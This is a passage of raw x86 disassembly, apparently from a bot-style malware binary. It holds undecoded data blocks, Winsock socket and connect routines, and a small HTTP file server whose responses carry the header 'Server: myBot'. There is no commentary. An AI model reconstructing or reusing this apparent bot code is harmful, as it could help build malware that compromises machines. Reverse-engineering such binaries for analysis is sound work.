		dd 5959FFFFh, 0D1E89056h, 68022F0Dh, 0FFFEh, 9997E853h
		dd 0A3590000h, 4CE710h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 0BA0015FFh, 0C63B004Ch, 15FF5475h, 4CB968h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0E2E8FFFFh, 83FFFFA5h
		dd 858D14C4h, 0FFFFFD40h, 6AA2E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC435E8h, 565959FFh, 0D56E890h, 56A022Fh, 0FC15FF57h
		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 2Fh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 6A4DE1E8h, 53569071h, 0E890026Ah
		dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A211Eh
		dd 10A16690h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 90575010h, 6A4A69E8h
		dd 7DC08571h, 0E9C38B07h, 548h,	90570A6Ah, 6A6969E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 23DAE890h, 0F883716Ah
		dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CA87E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 16E57E8h, 0FC08500h,	4A284h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A916CE8h
		dd 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h, 6AFFFFFDh
		dd 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h,	33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	4349A4h
		dd 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h, 39E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 49846816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h, 0D414h
		dd 59C08559h, 6A560A75h, 49646814h, 61EB0043h, 0FF50858Dh
		dd 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h, 560A7559h
		dd 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh,	434944h
		dd 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h,	434930h
		dd 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h,	0BF000002h
		dd 434904h, 0FF50858Dh,	5057FFFFh, 0D38BE8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h, 0D374h
		dd 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h, 8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 4348D468h, 263E900h, 858D0000h, 0FFFFFF50h
		dd 4348CC68h, 19E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 4348A0h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh, 434898h, 0D2CEE850h
		dd 85590000h, 2A7559C0h, 80BE056Ah, 59004348h, 0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C218h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43487868h
		dd 8DE85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E445h
		dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 485068FFh,	0E8500043h
		dd 0D4E7h, 0FF04858Dh, 0E850FFFFh, 0C951h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C943E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C748h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 48486857h
		dd 0E8500043h, 0CA26h, 858D106Ah, 0FFFFFF04h, 56E85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E4458D50h, 0DC458D50h
		dd 0D4458D50h, 0B4458D50h, 43483C68h, 0F3E85000h, 830000C9h
		dd 6A5618C4h, 481C681Dh, 6E90043h, 8D000001h, 0FFFF5085h
		dd 481468FFh, 0E8500043h, 0D1BCh, 59C08559h, 0CC850Fh
		dd 6A560000h, 47E86828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 8E850B4h, 59000001h,	5901F883h, 9E850Fh, 0B5390000h
		dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh
		dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 9F7FE8FFh, 0C483FFFFh
		dd 14AE814h, 0F8830000h, 93850F01h, 56000000h, 0D068176Ah
		dd 0FF004347h, 0D3FF0875h, 50B4458Dh, 0F720858Dh, 9868FFFFh
		dd 50004347h, 0C949E8h,	0CC48300h, 0FBBCB539h, 2375FFFFh
		dd 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h
		dd 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h, 8D14C483h, 0FFF72085h
		dd 0E1E850FFh, 0FF000063h, 4CE4E005h, 2EEB5900h, 68206A56h
		dd 434774h, 858D1FEBh, 0FFFFFF50h, 42CD2068h, 0D5E85000h
		dd 590000D0h, 7559C085h, 1B6A560Dh, 43475868h, 875FF00h
		dd 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5D3E8h, 87D8B00h
		dd 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB19h,	0FFFAD9E9h
		dd 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 26A044Bh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


